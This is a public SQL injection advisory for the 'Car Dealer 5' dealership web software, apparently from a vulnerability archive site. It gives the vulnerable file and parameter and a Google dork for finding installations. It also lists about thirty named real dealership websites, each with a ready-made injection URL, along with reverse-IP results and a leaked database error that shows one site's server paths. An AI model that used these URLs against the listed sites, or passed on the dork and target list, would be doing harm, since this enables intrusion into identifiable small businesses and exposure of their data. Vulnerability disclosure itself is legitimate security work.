Car Dealer 5 SQL Injection

2020-04-22 / 2020-04-21
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-89

################################################################### # Exploit Title : Car Dealer 5 SQL Injection # Author [ Discovered By ] : KingSkrupellos # Team : Cyberizm Digital Security Army # Date : 21 April 2020 # Vendor Homepage : cardealer5.co.uk # Tested On : Windows and Linux # Category : WebApps # Exploit Risk : Medium # Google Dorks : intext:Website powered by Car Dealer 5 inurl:/sold.php # Vulnerability Type : CWE-89 [ Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') ] # PacketStormSecurity : packetstormsecurity.com/files/authors/13968 # CXSecurity : cxsecurity.com/author/KingSkrupellos/1/ # Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos # Pastebin : pastebin.com/u/KingSkrupellos ################################################################### # Impact : *********** Website powered by Car Dealer 5 is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. A remote attacker can send a specially crafted request to the vulnerable application and execute arbitrary SQL commands in application`s database. Further exploitation of this vulnerability may result in unauthorized data manipulation. An attacker can exploit this issue using a browser or with any SQL Injector Tool. ################################################################### # SQL Vulnerable File : ********************** /sold.php # SQL Vulnerable Parameter : *************************** ?start=[ID-NUMBER]&make=&model=&cat=&submit=[SQL Injection] # SQL Injection Exploit : ********************** /sold.php?start=[ID-NUMBER]&make=&model=&cat=&submit=[SQL Injection] ################################################################### # Example Vulnerable Sites : ************************* Reverse IP results (185.215.36.69) There are 38 domains hosted on this server. Reverse IP results (185.215.36.139) There are 59 domains hosted on this server. Reverse IP results (185.215.36.76) There are 60 domains hosted on this server. Reverse IP results (185.215.37.102) There are 52 domains hosted on this server. Reverse IP results (185.215.36.227) There are 44 domains hosted on this server Reverse IP results (185.215.37.52) There are 41 domains hosted on this server. Reverse IP results(185.215.37.45) There are 52 domains hosted on this server. Reverse IP results (185.215.37.42) There are 66 domains hosted on this server. Reverse IP results (185.215.36.228) There are 31 domains hosted on this server. [+] diltonmotors.com/sold.php?start=-5&make=&model=&cat=&submit=1%27 [+] bellfieldmotor.co.uk/results.php?start=-5&make=&model=&cat=&submit=1 [+] waterfrontmotors.co.uk/sold.php?start=-5&make=&model=&cat=&submit=1%27 [+] northsuffolkcars.co.uk/sold.php?start=-5&make=&model=&cat=&submit=1%27 [+] bruche-motors.co.uk/sold.php?start=-5&make=&model=&cat=&submit=1%27 [+] jcautocare.co.uk/sold.php?start=-5&make=&model=&cat=&submit=1%27 [+] ecocarscheshire.co.uk/sold.php?start=-5&make=&model=&cat=&submit=1%27 [+] autobrookemotors.com/sold.php?start=-5&make=&model=&cat=&submit=1%27 [+] mgpcarsderby.co.uk/sold.php?start=-5&make=&model=&cat=&submit=1%27 [+] muchbirchgarage.co.uk/sold.php?start=-5&make=&model=&cat=&submit=1%27 [+] noylandrhodes.com/sold.php?start=-5&make=&model=&cat=&submit=1%27 [+] vanzntrux.co.uk/sold.php?start=-5&make=&model=&cat=&submit=1%27 [+] easypeasycarcredit.com/sold.php?start=-5&make=&model=&cat=&submit=1%27 [+] brooklandsprestige.com/sold.php?start=-5&make=&model=&cat=&submit=1%27 [+] otterymotorservices.co.uk/sold.php?start=-5&make=&model=&cat=&submit=1%27 [+] mckvans.co.uk/sold.php?start=-5&make=&model=&cat=&submit=1%27 [+] premiercarshereford.co.uk/sold.php?start=-5&make=&model=&cat=&submit=1%27 [+] kensingtoncarsales.co.uk/sold.php?start=-5&make=&model=&cat=&submit=1%27 [+] hodgesgarage.co.uk/sold.php?start=-5&make=&model=&cat=&submit=1%27 [+] kenttradecars.co.uk/sold.php?start=-5&make=&model=&cat=&submit=1%27 [+] kenillyscars.co.uk/sold.php?start=-5&make=&model=&cat=&submit=1%27 [+] mcb-autohouse.co.uk/sold.php?start=-5&make=&model=&cat=&submit=1%27 [+] georgebeck.co.uk/sold.php?start=-5&make=&model=&cat=&submit=1%27 [+] northsuffolkcars.co.uk/sold.php?start=-5&make=&model=&cat=&submit=1%27 [+] parkviewvehicles.co.uk/sold.php?start=-5&make=&model=&cat=&submit=1%27 [+] paigntonmotorcompany.co.uk/sold.php?start=-5&make=&model=&cat=&submit=1%27 [+] ivanhamillcars.co.uk/sold.php?start=-5&make=&model=&cat=&submit=1%27 [+] artistvalleymotors.co.uk/sold.php?start=-5&make=&model=&cat=&submit=1%27 [+] dr-cc.co.uk/sold.php?start=-5&make=&model=&cat=&submit=1%27 [+] uniquetransporters.co.uk/sold/cars/?start=-5&make=&model=&cat=&submit=1%27 ################################################################### # Example SQL Database Error : **************************** Fatal error: Uncaught exception 'PDOException' with message 'SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '-5,15' at line 26' in /var/www/vhosts/mgpcarsderby.co.uk/httpdocs/functions_moin.php:198 Stack trace: #0 /var/www/vhosts/mgpcarsderby.co.uk/httpdocs/functions_moin.php(198): PDO->prepare ('SELECT `_motor`...') #1 /var/www/vhosts/mgpcarsderby.co.uk/httpdocs/sold.php(225): fetchAllVehicles (Array, NULL) #2 {main} thrown in /var/www/vhosts/mgpcarsderby.co.uk/httpdocs/functions_moin.php on line 198 ################################################################### # Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team ###################################################################


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top